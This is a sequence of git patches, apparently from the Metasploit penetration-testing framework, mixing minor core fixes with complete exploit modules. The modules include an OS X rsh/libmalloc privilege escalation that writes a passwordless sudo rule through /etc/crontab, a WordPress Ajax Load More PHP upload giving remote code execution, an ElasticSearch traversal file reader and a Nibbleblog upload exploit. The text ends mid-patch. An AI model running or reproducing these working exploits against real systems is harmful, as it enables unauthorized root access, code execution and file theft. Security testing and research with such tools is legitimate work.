.../windows/misc/manageengine_eventlog_analyzer_rce.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb b/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb index 31c0681afb..258e580c55 100644 --- a/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb +++ b/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb @@ -31,7 +31,9 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ - ['EDB', '38173'] + ['EDB', '38173'], + ['CVE', '2015-7387'], + ['URL', 'http://seclists.org/fulldisclosure/2015/Sep/59'] ], 'Platform' => ['win'], 'Arch' => ARCH_X86, From 86dfbf23e83c1125895607ced09ad3909fefe278 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 15 Oct 2015 22:48:53 -0500 Subject: [PATCH 0917/2172] Fix whitespace --- .../exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb b/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb index 258e580c55..ad3de555e3 100644 --- a/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb +++ b/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ ['EDB', '38173'], - ['CVE', '2015-7387'], + ['CVE', '2015-7387'], ['URL', 'http://seclists.org/fulldisclosure/2015/Sep/59'] ], 'Platform' => ['win'], From 41e9f8a91b26bc33b20f7887a37436fbacd30ee0 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Fri, 16 Oct 2015 10:47:19 -0500 Subject: [PATCH 0918/2172] Some code changes from Roberto --- .../scanner/http/elasticsearch_traversal.rb | 38 ++++++++++--------- 1 file changed, 21 insertions(+), 17 deletions(-) diff --git a/modules/auxiliary/scanner/http/elasticsearch_traversal.rb b/modules/auxiliary/scanner/http/elasticsearch_traversal.rb index cb3ef89e37..4b5291e4d1 100644 --- a/modules/auxiliary/scanner/http/elasticsearch_traversal.rb +++ b/modules/auxiliary/scanner/http/elasticsearch_traversal.rb @@ -15,9 +15,9 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'ElasticSearch Snapshot API Directory Traversal', 'Description' => %q{ - This module exploits a directory traversal - vulnerability in ElasticSearch, allowing an attacker to read arbitrary - files with JVM process privileges, through the Snapshot API. + 'This module exploits a directory traversal vulnerability in + ElasticSearch, allowing an attacker to read arbitrary files + with JVM process privileges, through the Snapshot API.' }, 'References' => [ @@ -26,32 +26,36 @@ class Metasploit3 < Msf::Auxiliary ], 'Author' => [ - 'Benjamin Smith', # Vulnerability discovery - 'Pedro Andujar ', # Metasploit module - 'Jose A. Guasch ', # Metasploit module - 'Roberto Soares Espreto ' # Metasploit Module + 'Benjamin Smith', # Vulnerability Discovery + 'Pedro Andujar ', # Metasploit Module + 'Jose A. Guasch ', # Metasploit Module ], 'License' => MSF_LICENSE - )) + )) register_options( [ Opt::RPORT(9200), OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), OptInt.new('DEPTH', [true, 'Traversal depth', 7]) - ], self.class) + ], self.class + ) deregister_options('RHOST') end def proficy? - res1 = send_request_raw('method' => 'POST', - 'uri' => normalize_uri(target_uri.path '_snapshot' 'pwn'), - 'data' => '{"type":"fs","settings":{"location":"dsr"}}') + res1 = send_request_raw( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '_snapshot', 'pwn'), + 'data' => '{"type":"fs","settings":{"location":"dsr"}}' + ) - res2 = send_request_raw('method' => 'POST', - 'uri' => normalize_uri(target_uri.path, '_snapshot' 'pwnie'), - 'data' => '{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}') + res2 = send_request_raw( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '_snapshot', 'pwnie'), + 'data' => '{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}' + ) if res1.body.include?('true') && res2.body.include?('true') return true @@ -73,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary if proficy? vprint_good("#{peer} - Check successful") else - print_error("#{peer} - ElasticSearch not vulnerable") + print_error("#{peer} - ElasticSearch not vulnearble") return end @@ -118,4 +122,4 @@ class Metasploit3 < Msf::Auxiliary ) print_good("#{peer} - File saved in: #{path}") end -end +end \ No newline at end of file From e59a4e36b7ad18da8f961b478de252476e7867b8 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 16 Oct 2015 10:59:04 -0500 Subject: [PATCH 0919/2172] Fix check --- .../scanner/http/elasticsearch_traversal.rb | 37 ++++++++++--------- 1 file changed, 20 insertions(+), 17 deletions(-) diff --git a/modules/auxiliary/scanner/http/elasticsearch_traversal.rb b/modules/auxiliary/scanner/http/elasticsearch_traversal.rb index 4b5291e4d1..a521f753cf 100644 --- a/modules/auxiliary/scanner/http/elasticsearch_traversal.rb +++ b/modules/auxiliary/scanner/http/elasticsearch_traversal.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST') end - def proficy? + def check_host(ip) res1 = send_request_raw( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '_snapshot', 'pwn'), @@ -58,10 +58,10 @@ class Metasploit3 < Msf::Auxiliary ) if res1.body.include?('true') && res2.body.include?('true') - return true - else - return false + return Exploit::CheckCode::Appears end + + Exploit::CheckCode::Safe end def read_file(file) @@ -72,15 +72,6 @@ class Metasploit3 < Msf::Auxiliary travs << payload.gsub('/', '%2f') travs << file.gsub('/', '%2f') - vprint_status("#{peer} - Checking if it's a vulnerable ElasticSearch") - - if proficy? - vprint_good("#{peer} - Check successful") - else - print_error("#{peer} - ElasticSearch not vulnearble") - return - end - vprint_status("#{peer} - Retrieving file contents...") res = send_request_raw( @@ -91,23 +82,35 @@ class Metasploit3 < Msf::Auxiliary if res && res.code == 400 return res.body else - print_status("#{res.code}\n#{res.body}") + print_status("Server returned HTTP response code: #{res.code}") + print_status(res.body) return nil end end def run_host(ip) + vprint_status("#{peer} - Checking if it's a vulnerable ElasticSearch") + + check_code = check_host(ip) + print_status("#{peer} - #{check_code.second}") + if check_host(ip) != Exploit::CheckCode::Appears + return + end + filename = datastore['FILEPATH'] filename = filename[1, filename.length] if filename =~ %r{/^\//} contents = read_file(filename) - fail_with(Failure::UnexpectedReply, "#{peer} - File not downloaded") if contents.nil? + unless contents + print_error("#{peer} - No file downloaded") + return + end begin data_hash = JSON.parse(contents) rescue JSON::ParserError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") - return [] + return end fcontent = data_hash['error'].scan(/\d+/).drop(2).map(&:to_i).pack('c*') @@ -122,4 +125,4 @@ class Metasploit3 < Msf::Auxiliary ) print_good("#{peer} - File saved in: #{path}") end -end \ No newline at end of file +end From b7887722153e72688998369840b4a3b46778eff2 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 16 Oct 2015 13:28:37 -0500 Subject: [PATCH 0920/2172] break only if 'make_nops' is able generate the nop sled --- lib/msf/core/exploit.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index a80c8831c1..df878fa3eb 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1034,12 +1034,11 @@ class Exploit < Msf::Module nop_sled = nop.generate_sled(count, 'BadChars' => payload_badchars || '', 'SaveRegisters' => save_regs) + break rescue wlog("#{self.refname}: Nop generator #{nop.refname} failed to generate sled for exploit: #{$!}", 'core', LEV_0) end - - break } nop_sled From d85412b0fb1dcb6c3f4e9b84ef8ca20f30b633a9 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 16 Oct 2015 14:01:00 -0500 Subject: [PATCH 0921/2172] Complete fix for generation of nop sleds --- lib/msf/core/encoded_payload.rb | 8 ++++++-- lib/msf/core/exploit.rb | 7 ++++++- 2 files changed, 12 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index e3f21c2226..7b16e68665 100644 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -342,14 +342,18 @@ class EncodedPayload self.nop_sled = nop.generate_sled(self.nop_sled_size, 'BadChars' => reqs['BadChars'], 'SaveRegisters' => save_regs) + + if nop_sled && nop_sled.length == nop_sled_size + break + else + dlog("#{pinst.refname}: Nop generator #{nop.refname} failed to generate sled for payload", 'core', LEV_1) + end rescue dlog("#{pinst.refname}: Nop generator #{nop.refname} failed to generate sled for payload: #{$!}", 'core', LEV_1) self.nop = nil end - - break } if (self.nop_sled == nil) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index df878fa3eb..dd76275a8c 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1034,7 +1034,12 @@ class Exploit < Msf::Module nop_sled = nop.generate_sled(count, 'BadChars' => payload_badchars || '', 'SaveRegisters' => save_regs) - break + + if nop_sled && nop_sled.length == count + break + else + wlog("#{self.refname}: Nop generator #{nop.refname} failed to generate sled for exploit", 'core', LEV_0) + end rescue wlog("#{self.refname}: Nop generator #{nop.refname} failed to generate sled for exploit: #{$!}", 'core', LEV_0) From d51f0ebd4c16d54bbd8412d26427ea86733569d1 Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 16 Oct 2015 15:08:00 -0500 Subject: [PATCH 0922/2172] Refactor "via" string into a method --- lib/msf/core/handler/reverse/comm.rb | 15 +++++++++++++++ lib/msf/core/handler/reverse_http.rb | 9 +-------- lib/msf/core/handler/reverse_tcp.rb | 9 +-------- lib/msf/core/handler/reverse_tcp_double_ssl.rb | 9 +-------- lib/msf/core/handler/reverse_tcp_ssl.rb | 10 +--------- 5 files changed, 19 insertions(+), 33 deletions(-) diff --git a/lib/msf/core/handler/reverse/comm.rb b/lib/msf/core/handler/reverse/comm.rb index 79f0d2047a..4849d8919b 100644 --- a/lib/msf/core/handler/reverse/comm.rb +++ b/lib/msf/core/handler/reverse/comm.rb @@ -38,6 +38,21 @@ module Comm comm end + + def via_string_for_ip(ip, comm) + comm_used = comm + comm_used ||= Rex::Socket::SwitchBoard.best_comm(ip) + comm_used ||= Rex::Socket::Comm::Local + + if comm_used.respond_to?(:type) && comm_used.respond_to?(:sid) + via = "via the #{comm_used.type} on session #{comm_used.sid}" + else + via = "" + end + + via + end + end end diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 7d32591f1c..3515c2ee45 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -158,14 +158,7 @@ module ReverseHttp }, 'VirtualDirectory' => true) - comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip ) - comm_used = Rex::Socket::Comm::Local if comm_used == nil - - if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) ) - via = "via the #{comm_used.type} on session #{comm_used.sid}" - else - via = "" - end + via = via_string_for_ip(ip, comm) print_status("Started #{scheme.upcase} reverse handler on #{listener_uri} #{via}") lookup_proxy_settings diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index 85b0c0bc52..c19b5ed890 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -94,14 +94,7 @@ module ReverseTcp ex = false - comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip ) - comm_used = Rex::Socket::Comm::Local if comm_used == nil - - if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) ) - via = "via the #{comm_used.type} on session #{comm_used.sid}" - else - via = "" - end + via = via_string_for_ip(ip, comm) print_status("Started reverse handler on #{ip}:#{local_port} #{via}") break diff --git a/lib/msf/core/handler/reverse_tcp_double_ssl.rb b/lib/msf/core/handler/reverse_tcp_double_ssl.rb index 75d8c3c8d7..5ffd8cc36d 100644 --- a/lib/msf/core/handler/reverse_tcp_double_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_double_ssl.rb @@ -90,14 +90,7 @@ module ReverseTcpDoubleSSL ex = false - comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip ) - comm_used = Rex::Socket::Comm::Local if comm_used == nil - - if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) ) - via = "via the #{comm_used.type} on session #{comm_used.sid}" - else - via = "" - end + via = via_string_for_ip(ip, comm) print_status("Started reverse double SSL handler on #{ip}:#{local_port} #{via}") break diff --git a/lib/msf/core/handler/reverse_tcp_ssl.rb b/lib/msf/core/handler/reverse_tcp_ssl.rb index d3b5f84352..dc9a71e9cb 100644 --- a/lib/msf/core/handler/reverse_tcp_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_ssl.rb @@ -69,15 +69,7 @@ module ReverseTcpSsl ex = false - comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip ) - comm_used = Rex::Socket::Comm::Local if comm_used == nil - - if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) ) - via = "via the #{comm_used.type} on session #{comm_used.sid}" - else - via = "" - end - + via = via_string_for_ip(ip, comm) print_status("Started reverse SSL handler on #{ip}:#{local_port} #{via}") break rescue From 9666660c0629b0c806b8eacc78e5b20e53ec9e2a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 16 Oct 2015 15:29:12 -0500 Subject: [PATCH 0923/2172] Enforce check and add another error message --- .../exploits/multi/http/nibbleblog_file_upload.rb | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/nibbleblog_file_upload.rb b/modules/exploits/multi/http/nibbleblog_file_upload.rb index 8c22dff610..290931c1c4 100644 --- a/modules/exploits/multi/http/nibbleblog_file_upload.rb +++ b/modules/exploits/multi/http/nibbleblog_file_upload.rb @@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote ) if res && res.code == 200 && res.body.include?('Nibbleblog 4.0.3 "Coffee"') - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end @@ -98,6 +98,11 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit + unless [ Exploit::CheckCode::Detected, Exploit::CheckCode::Appears ].include?(check) + print_error("Target does not appear to be vulnerable.") + return + end + vprint_status("#{peer} - Authenticating using #{username}:#{password}") cookie = do_login(username, password) @@ -133,8 +138,12 @@ class Metasploit3 < Msf::Exploit::Remote 'cookie' => cookie ) - fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 200 && - (res.body.include?('Warning') || res.body.include?('warn')) + if res && /Call to a member function getChild\(\) on a non\-object/ === res.body + fail_with(Failure::Unknown, 'Unable to upload payload. Does the server have the My Image plugin installed?') + elsif res && !( res.body.include?('Warning') || res.body.include?('warn') ) + fail_with(Failure::Unknown, 'Unable to upload payload.') + end + vprint_good("#{peer} - Uploaded the payload.") php_fname = 'image.php' From 95d5e5831ee8713874c0f31f6b5b64e286232b2d Mon Sep 17 00:00:00 2001 From: Sam Handelman Date: Fri, 16 Oct 2015 14:39:07 -0700 Subject: [PATCH 0924/2172] Adding the updated version of the module to submit a pull request. Changes were made to ensure that the OS version check correctly determines which systems are vulnerable, giving only a warning message if not. --- modules/exploits/osx/local/rsh_libmalloc.rb | 199 ++++++++++++++++++++ 1 file changed, 199 insertions(+) create mode 100644 modules/exploits/osx/local/rsh_libmalloc.rb diff --git a/modules/exploits/osx/local/rsh_libmalloc.rb b/modules/exploits/osx/local/rsh_libmalloc.rb new file mode 100644 index 0000000000..e0a8a88d34 --- /dev/null +++ b/modules/exploits/osx/local/rsh_libmalloc.rb @@ -0,0 +1,199 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Local + + Rank = NormalRanking + + include Msf::Post::OSX::System + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege Escalation', + 'Description' => %q{ + This module writes to the sudoers file without root access by exploiting rsh and malloc log files. + Makes sudo require no password, giving access to su even if root is disabled. + Works on OS X 10.9.5 to 10.10.5 (patched on 10.11). + }, + 'Author' => [ + 'rebel', # Vulnerability discovery and PoC + 'psytech140' # Copy/paste AND translator monkey + ], + 'References' => [ + ['URL', 'https://www.exploit-db.com/exploits/38371/'] + ], + 'DisclosureDate' => 'Oct 1 2015', + 'License' => MSF_LICENSE, + # Want to ensure that this can be used on Python Meterpreter sessions as well + 'Platform' => ['osx', 'python'], + 'Arch' => [ARCH_X86_64, ARCH_PYTHON], + 'SessionTypes' => ['shell', 'meterpreter'], + 'Privileged' => true, + 'Targets' => [ + ['Mac OS X 10.9.5-10.10.5', {}] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PAYLOAD' => 'osx/x64/shell_reverse_tcp' + } + )) + + register_options([ + OptInt.new('WaitTime', [true, 'Seconds to wait for exploit to work', 60]), + OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) + + ]) + end + + def exploit + # Check OS + os_check + + # Check if crontab file existed already so it can be restored at cleanup + if file_exist? "/etc/crontab" + crontab_original = read_file("/etc/crontab") + else + crontab_original = nil + end + + # Writing payload + if payload.arch.include? ARCH_X86_64 + vprint_status("Writing payload to #{payload_file}.") + write_file(payload_file, payload_source) + vprint_status("Finished writing payload file.") + elsif payload.arch.include? ARCH_PYTHON + vprint_status("No need to write payload. Will simply execute after exploit") + vprint_status("Payload encodeded is #{payload.encoded}") + end + + # Run exploit + sploit + + # Execute payload + print_status('Executing payload...') + if payload.arch.include? ARCH_X86_64 + cmd_exec("sudo chmod +x #{payload_file}; sudo #{payload_file}") + elsif payload.arch.include? ARCH_PYTHON + cmd_exec("sudo python -c \"#{payload.encoded}\"") + end + end + + def os_check + # Get sysinfo + sysinfo = get_sysinfo + # Make sure its OS X (Darwin) + unless sysinfo["Kernel"].include? "Darwin" + print_warning("The target system does not appear to be running OS X!") + print_warning("Kernel information: #{sysinfo['Kernel']}") + return + end + # Make sure its not greater than 10.5 or less than 9.5 + version = sysinfo["ProductVersion"] + minor_version = version[3...version.length].to_f + unless minor_version >= 9.5 && minor_version <= 10.5 + print_warning("The target version of OS X does not appear to be compatible with the exploit!") + print_warning("Target is running OS X #{sysinfo['ProductVersion']}") + end + end + + def sploit + user = cmd_exec("whoami").split(" ") + if user.length > 1 then user = user[1] end + + vprint_status("The current user is #{user}. start of sploit") + # Get size of sudoers file + sudoer_path = "/etc/sudoers" + size = get_stat_size(sudoer_path) + + # Set up the environment and command for spawning rsh and writing to crontab file + rb_script = "e={\"MallocLogFile\"=>\"/etc/crontab\",\"MallocStackLogging\"=>\"yes\",\"MallocStackLoggingDirectory\"=>\"a\n* * * * * root echo \\\"ALL ALL=(ALL) NOPASSWD: ALL\\\" >> /etc/sudoers\n\n\n\n\n\"}; Process.spawn(e,[\"/usr/bin/rsh\",\"rsh\"],\"localhost\",[:out, :err]=>\"/dev/null\")" + rb_cmd = "ruby -e '#{rb_script}'" + + # Attempt to execute + print_status("Attempting to write /etc/crontab...") + cmd_exec(rb_cmd) + vprint_status("Now to check whether the script worked...") + + # Check whether it worked + crontab = cmd_exec("cat /etc/crontab") + vprint_status("Reading crontab yielded the following response: #{crontab}") + unless crontab.include? "NOPASSWD" + vprint_error("Bad news... it did not write to the file.") + fail_with(Failure::NotVulnerable, "Could not successfully write to crontab file.") + end + + print_good("Succesfully wrote to crontab file!") + + # Wait for sudoers to change + new_size = get_stat_size(sudoer_path) + vprint_status("Got sudoers size again") + counter = 0 + wait_time = datastore["WaitTime"] + print_status("Waiting for sudoers file to change..") + while new_size == size && counter < wait_time + sleep(1) + new_size = get_stat_size(sudoer_path) + counter += 1 + end + + if counter >= wait_time + fail_with(Failure::TimeoutExpired, "Sudoers file still has not changed after #{counter} seconds. Try increasing WaitTime.") + end + print_good("Sudoers file has changed!") + + # Confirming root access + user = cmd_exec("sudo whoami") + unless user.include? "root" + fail_with(Failure::UnexpectedReply, "Unable to acquire root access. Whoami returned: #{user}") + end + print_good("Success! Acquired root access!") + end + + def get_stat_size(file_path) + cmd = "env -i [$(stat -s #{file_path})] bash -c 'echo $st_size'" + response = cmd_exec(cmd) + vprint_status("Response to stat size query is #{response}") + begin + size = Integer(response) + return size + rescue ArgumentError + fail_with(Failure::UnexpectedReply, "Could not get stat size!") + end + end + + def payload_source + if payload.arch.include? ARCH_X86_64 + return Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) + elsif payload.arch.include? ARCH_PYTHON + return payload.encoded + end + end + + def payload_file + @payload_file ||= + "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" + end + + def cleanup(crontab_original) + # Restore crontab back to is original state + # If we don't do this, then cron will continue to append the no password rule to sudoers. + if crontab_original.nil? + # Erase crontab file and kill cron process since it did not exist before + vprint_status("Removing crontab file since it did not exist prior to exploit. No need for it anymore.") + rm_f("/etc/crontab") + sleep(1) + cmd_exec("sudo kill $(pgrep cron)") + else + # Write back the original content of crontab + vprint_status("Restoring crontab file back to original contents. No need for it anymore.") + write_file("/etc/crontab", crontab_original) + end + end +end + From 3757f2e8de1594c13e267d4deec63116822bd0e9 Mon Sep 17 00:00:00 2001 From: Sam Handelman Date: Fri, 16 Oct 2015 14:54:34 -0700 Subject: [PATCH 0925/2172] Changed my author name to make sure it matches my GitHub username inside the module information. --- modules/exploits/osx/local/rsh_libmalloc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/osx/local/rsh_libmalloc.rb b/modules/exploits/osx/local/rsh_libmalloc.rb index e0a8a88d34..be2800db1b 100644 --- a/modules/exploits/osx/local/rsh_libmalloc.rb +++ b/modules/exploits/osx/local/rsh_libmalloc.rb @@ -23,7 +23,7 @@ class Metasploit4 < Msf::Exploit::Local }, 'Author' => [ 'rebel', # Vulnerability discovery and PoC - 'psytech140' # Copy/paste AND translator monkey + 'shandelman116' # Copy/paste AND translator monkey ], 'References' => [ ['URL', 'https://www.exploit-db.com/exploits/38371/'] From ba75e85eb39c900b5c9eea765e9b03b7320a485a Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Sat, 17 Oct 2015 13:30:36 -0300 Subject: [PATCH 0926/2172] Add WP Ajax Load More Plugin File Upload Vuln. --- .../webapp/wp_ajax_load_more_file_upload.rb | 120 ++++++++++++++++++ 1 file changed, 120 insertions(+) create mode 100644 modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb diff --git a/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb b/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb new file mode 100644 index 0000000000..8de45e6b67 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb @@ -0,0 +1,120 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wordpress Ajax Load More PHP Upload Vulnerability', + 'Description' => %q{ + This module exploits an arbitrary file upload in the WordPress Ajax Load More + version 2.8.1.1. It allows to upload arbitrary php files and get remote code + execution. This module has been tested successfully on WordPress Ajax Load More + 2.8.0 with Wordpress 4.1.3 on Ubuntu 12.04/14.04 Server. + }, + 'Author' => + [ + 'Unknown', # Identify yourself || send an PR here + 'Roberto Soares Espreto ' # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['WPVDB', '8209'] + ], + 'Privileged' => false, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Ajax Load More 2.8.1.1', {}]], + 'DisclosureDate' => 'Oct 10 2015', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('WP_USERNAME', [true, 'A valid username', nil]), + OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil]) + ], self.class + ) + end + + def check + check_plugin_version_from_readme('ajax-load-more', '2.8.1.2') + end + + def username + datastore['WP_USERNAME'] + end + + def password + datastore['WP_PASSWORD'] + end + + def get_nonce(cookie) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(wordpress_url_backend, 'admin.php'), + 'vars_get' => { + 'page' => 'ajax-load-more-repeaters' + }, + 'cookie' => cookie + ) + + if res && res.body && res.body =~ /php","alm_admin_nonce":"([a-z0-9]+)"}/ + return Regexp.last_match[1] + else + return nil + end + end + + def exploit + vprint_status("#{peer} - Trying to login as #{username}") + cookie = wordpress_login(username, password) + fail_with(Failure::NoAccess, "#{peer} - Unable to login as: #{username}") if cookie.nil? + + vprint_status("#{peer} - Trying to get nonce") + nonce = get_nonce(cookie) + fail_with(Failure::Unknown, "#{peer} - Unable to get nonce") if nonce.nil? + + vprint_status("#{peer} - Trying to upload payload") + filename = 'default.php' + + print_status("#{peer} - Uploading payload") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'), + 'vars_post' => { + 'action' => 'alm_save_repeater', + 'value' => payload.encoded, + 'repeater' => 'default', + 'type' => 'default', + 'alias' => '', + 'nonce' => nonce + }, + 'cookie' => cookie + ) + + if res + if res.code == 200 && res.body.include?('Template Saved Successfully') + register_files_for_cleanup(filename) + else + fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.") + end + else + fail_with(Failure::Unknown, 'Server did not respond in an expected way') + end + + print_status("#{peer} - Calling uploaded file") + send_request_cgi( + 'uri' => normalize_uri(wordpress_url_plugins, 'ajax-load-more', 'core', 'repeater', filename) + ) + end +end From b03c3be46d362d866417bb9492ff70f79aaaf5d1 Mon Sep 17 00:00:00 2001 From: Sam Handelman Date: Sun, 18 Oct 2015 02:13:03 -0700 Subject: [PATCH 0927/2172] Fixed some styling errors in the initializer. Switched the calls to sleep(1) to use the Rex API (Rex.sleep(1) instead). --- modules/exploits/osx/local/rsh_libmalloc.rb | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/modules/exploits/osx/local/rsh_libmalloc.rb b/modules/exploits/osx/local/rsh_libmalloc.rb index be2800db1b..e229cd8c70 100644 --- a/modules/exploits/osx/local/rsh_libmalloc.rb +++ b/modules/exploits/osx/local/rsh_libmalloc.rb @@ -26,7 +26,9 @@ class Metasploit4 < Msf::Exploit::Local 'shandelman116' # Copy/paste AND translator monkey ], 'References' => [ - ['URL', 'https://www.exploit-db.com/exploits/38371/'] + ['URL', 'https://www.exploit-db.com/exploits/38371/'], + ['EBD', '38371'], + ['CVE', '2015-5889'] ], 'DisclosureDate' => 'Oct 1 2015', 'License' => MSF_LICENSE, @@ -44,11 +46,12 @@ class Metasploit4 < Msf::Exploit::Local } )) - register_options([ - OptInt.new('WaitTime', [true, 'Seconds to wait for exploit to work', 60]), - OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) - - ]) + register_options( + [ + OptInt.new('WaitTime', [true, 'Seconds to wait for exploit to work', 60]), + OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) + ], self.class + ) end def exploit @@ -137,7 +140,7 @@ class Metasploit4 < Msf::Exploit::Local wait_time = datastore["WaitTime"] print_status("Waiting for sudoers file to change..") while new_size == size && counter < wait_time - sleep(1) + Rex.sleep(1) new_size = get_stat_size(sudoer_path) counter += 1 end @@ -187,7 +190,7 @@ class Metasploit4 < Msf::Exploit::Local # Erase crontab file and kill cron process since it did not exist before vprint_status("Removing crontab file since it did not exist prior to exploit. No need for it anymore.") rm_f("/etc/crontab") - sleep(1) + Rex.sleep(1) cmd_exec("sudo kill $(pgrep cron)") else # Write back the original content of crontab From 712f9f2c835d833d5267b5de724e96794a9daac9 Mon Sep 17 00:00:00 2001 From: Sam H Date: Sun, 18 Oct 2015 19:10:47 -0700 Subject: [PATCH 0928/2172] Deleted extra reference to exploit DB --- modules/exploits/osx/local/rsh_libmalloc.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/osx/local/rsh_libmalloc.rb b/modules/exploits/osx/local/rsh_libmalloc.rb index e229cd8c70..4b90ec3922 100644 --- a/modules/exploits/osx/local/rsh_libmalloc.rb +++ b/modules/exploits/osx/local/rsh_libmalloc.rb @@ -26,8 +26,7 @@ class Metasploit4 < Msf::Exploit::Local 'shandelman116' # Copy/paste AND translator monkey ], 'References' => [ - ['URL', 'https://www.exploit-db.com/exploits/38371/'], - ['EBD', '38371'], + ['EDB', '38371'], ['CVE', '2015-5889'] ], 'DisclosureDate' => 'Oct 1 2015', From d7b8767afc8f17d41cf6eb1aaf9d1ca2ce6b47d0 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Mon, 19 Oct 2015 10:42:46 -0500 Subject: [PATCH 0929/2172] Fix #6105 by moving ``puts`` into the base class --- lib/rex/ui/text/output.rb | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/lib/rex/ui/text/output.rb b/lib/rex/ui/text/output.rb index 5e777b0407..eb85b8b504 100644 --- a/lib/rex/ui/text/output.rb +++ b/lib/rex/ui/text/output.rb @@ -74,6 +74,21 @@ class Output < Rex::Ui::Output def reset end + def puts(*args) + args.each do |argument| + line = argument.to_s + print_raw(line) + + unless line.ends_with? 